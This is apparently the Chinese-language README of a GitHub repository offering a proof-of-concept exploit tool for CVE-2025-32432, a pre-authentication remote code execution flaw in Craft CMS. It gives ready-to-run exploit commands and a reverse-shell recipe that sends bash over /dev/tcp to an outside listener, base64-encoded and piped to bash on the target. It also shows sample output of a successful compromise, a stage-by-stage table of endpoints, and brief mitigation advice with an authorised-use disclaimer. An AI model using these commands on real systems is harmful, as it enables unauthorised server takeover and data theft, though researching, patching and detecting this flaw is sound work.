c0gnit00/CVE-2025-32432
GitHub: c0gnit00/CVE-2025-32432
该工具是针对 Craft CMS CVE-2025-32432 认证前远程代码执行漏洞的自动化 PoC 利用脚本。
Stars: 0 | Forks: 0
# CVE-2025-32432 Craft CMS 认证前 RCE PoC
**Craft CMS 中严重的认证前远程代码执行漏洞**
受影响版本:Craft CMS 3.x, 4.x 和 5.x(最高至 5.6.16)
**信息:** 此漏洞利用已在 HackTheBox Orion 机器上进行了测试
## 概述
本仓库包含 **CVE-2025-32432** 的漏洞概念验证(PoC)利用代码,这是 Craft CMS 中一个严重的认证前远程代码执行漏洞。该漏洞允许未经身份验证的攻击者通过利用 Yii2 的行为附加机制以及使用 `__class` 覆盖技术实例化 PHP 对象,在服务器上执行任意 PHP 代码。
### CVSS 评分:10.0(严重)
## 功能
- **认证前利用** — 无需登录凭证
- **广泛的兼容性** — 适用于 Craft CMS 3.x, 4.x 和 5.x
- **自动发现 asset ID** — 自动暴力破解有效的 asset ID
- **提取 CSRF token** — 自动处理 Craft CMS 的 CSRF 保护
- **Session 路径回退** — 如果第一次失败,会自动重试备用的 PHP session 路径
## 环境要求
```
pip install requests urllib3
```
## 快速开始
### 基本命令执行
```
python3 exploit.py -u http://target.com -c "id"
```
### 反向 Shell
```
# 在你的机器上启动 listener
penelope -p 4444
# 对 payload 进行 base64 编码
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# 运行 exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
```
### 跳过 Asset ID 暴力破解(如果已知)
```
python3 exploit.py -u http://target.com -c "whoami" -a 11
```
### 使用备用 Session 路径
```
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
```
## 用法
```
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://target.com)
-c, --command COMMAND
Command to execute
-a, --asset-id ASSET_ID
Known valid asset ID (skip brute-force)
-m, --max-asset MAX_ASSET
Max asset ID to brute-force (default: 300)
-s, --session-path SESSION_PATH
Session file path template (default: /var/lib/php/sessions/sess_{})
-q, --quiet Suppress verbose output
```
## 输出示例
```
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
```
## 利用阶段
| 阶段 | 动作 | Endpoint | 认证 |
|-------|--------|----------|------|
| 1 | 提取 session cookie + CSRF token | `GET /admin/login` | 否 |
| 2 | 将 PHP payload 注入 session 文件 | `GET /index.php?p=admin/dashboard&a=` | 否 |
| 3 | 暴力破解有效的 asset ID | `POST /index.php?p=admin/actions/assets/generate-transform` | 否 |
| 4 | 通过 `PhpManager` gadget 触发 RCE | `POST /index.php?p=admin/actions/assets/generate-transform&cmd=` | 否 |
## 受影响版本
| 分支 | 受影响 | 已修复 |
|--------|----------|-------|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – **5.6.16** | 5.6.17+ |
## 缓解措施
1. **立即升级**至最新修补版本
2. **监控日志**,注意:
- 对 `/admin/actions/assets/generate-transform` 的大量 POST 请求
- 包含带有 PHP 代码的 `a=` 参数的、对 admin 页面的 GET 请求
- POST 请求体中出现 `as` 字段
3. **启用 WAF 规则**以阻止可疑模式
## 免责声明
本工具仅供**授权的安全测试和研究目的**使用。未经授权访问计算机系统是违法行为。在进行测试前,请务必获取适当的授权。
## 许可证
MIT 许可证 - 详情请参阅 LICENSE 文件。
标签:CISA项目, Craft CMS, PoC, Python, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具